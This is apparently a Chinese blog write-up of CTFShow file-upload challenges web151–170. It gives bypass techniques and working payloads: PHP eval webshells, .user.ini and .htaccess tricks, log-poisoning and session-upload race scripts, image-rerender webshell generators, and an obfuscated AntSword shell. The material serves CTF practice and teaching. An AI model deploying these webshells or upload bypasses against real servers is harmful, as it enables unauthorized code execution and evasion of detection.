CTFShow web151-170 (文件上传)

该博客详细介绍了CTF比赛中遇到的多个文件上传漏洞,从web151到web170,涵盖各种过滤规则的绕过方法,包括使用.user.ini配置文件、短标签、特殊字符替代、文件头篡改、二次渲染等技术,以及如何通过蚁剑连接和执行命令来获取权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web151

前端检测类型,burp抓包修改文件名称即可

文件上传思路,先上传一张图片马,再慢慢测试过滤规则(文件名,之类的)

在这里插入图片描述
在这里插入图片描述

web152

思路和前面的一致

web153

上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/
防挂 https://www.cnblogs.com/l0nmar/p/14053889.html

发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功
在这里插入图片描述

文件内容:

auto_prepend_file = 1.php

然后上传一张图片马,1.php
内容:

phpinfo();
@eval($_POST['hacker']);

然后访问 /upload/index.php
在这里插入图片描述
再用蚁剑连接
在这里插入图片描述

web154

先上传.user.ini,再上传图片马,再访问/upload/index.php , 蚁剑连接

在前面一题的基础上增加了内容过滤,过滤了php , 可以用大小写来绕过
在这里插入图片描述

web155

短标签绕过, 关于短标签内容参考https://www.cnblogs.com/dongguol/p/5910617.html

经过测试,题目应该是严格过滤了php 大小写也没办法绕过

用正常的标签<?php 肯定会被拦截,所以只能用短标签

上传.user.ini 再上传1.png
在这里插入图片描述
短标签:

<? echo '123';?> //short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

web156

经过测试过滤了[ ,可以用{}代替[],其它的步骤和前面几个一致
在这里插入图片描述

web157

又过滤了;{ ,可以 <?=(system('nl ../*.ph*'))?>
在这里插入图片描述

web158

<?=`nl ../flag.ph*`?>

在这里插入图片描述

web159

<?=`nl ../*`?>

在这里插入图片描述

web160

先上传.user.ini
再上传1.png 内容<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
再修改user-agent <?php eval($_POST[hack]);?>
蚁剑连接即可
这里直接包含flag的话会报错在这里插入图片描述
在这里插入图片描述
因为include_path的限制
在这里插入图片描述
前面的web159可以nl ../* 是因为像system();等函数不收include_path或者open_basedir的限制 , 还有include()不支持正则表达式?

web161

对文件头做了检测 用getimagesize()

可参考 : https://blog.youkuaiyun.com/weixin_43915842/article/details/90183305

png图片头:89 50 4E 47 0D 0A 1A 0A, 后面还要填充一些字节:
在这里插入图片描述

在这里插入图片描述
然后
在这里插入图片描述
然后蚁剑连接
在这里插入图片描述

web162

再前一题的基础上又过滤了.
在这里插入图片描述
包含不了.log文件了,尝试包含session文件
在这里插入图片描述
脚本:

# coding=utf-8
import io
import requests
import threading

sessID = 'test'
url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 256 * 1)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
            files={'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + 'upload/index.php'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

web163

和上一题一样,也可以直接包含/tmp/sess_test , 脚本同上
在这里插入图片描述

web164

后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

渲染脚本:
png:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

在这里插入图片描述
然后
在这里插入图片描述
至于为什么能当成PHP文件解析,可以查看后端代码,直接包含了图片文件
在这里插入图片描述

web165

jpg文件二次渲染,脚本:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先随便上传一张jpg文件到服务器,再下载回来
再用php exp.php 1.jpg,再上传即可

web166

只在前端做了限制,限制后缀名为zip,可上传任意文件并解析
在这里插入图片描述
在这里插入图片描述
看后端代码还是直接include
在这里插入图片描述

web167

httpd-apache2服务器
上传.htaccess文件 ,任意文件解析为php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web168

直接蚁剑生成免杀shell

<?php // 使用时请删除此行, 连接密码: TyKPuntU ?>
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

web169

有点小坑,前端做了校验只能传zip文件,后端又做了图片文件检查.
过滤了<>php,可以上传配置文件绕过
在这里插入图片描述
在这里插入图片描述
蚁剑连接可能有问题,可以直接执行命令

web170

包含日志文件
在这里插入图片描述
空的1.php文件
在这里插入图片描述

蚁剑连接
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值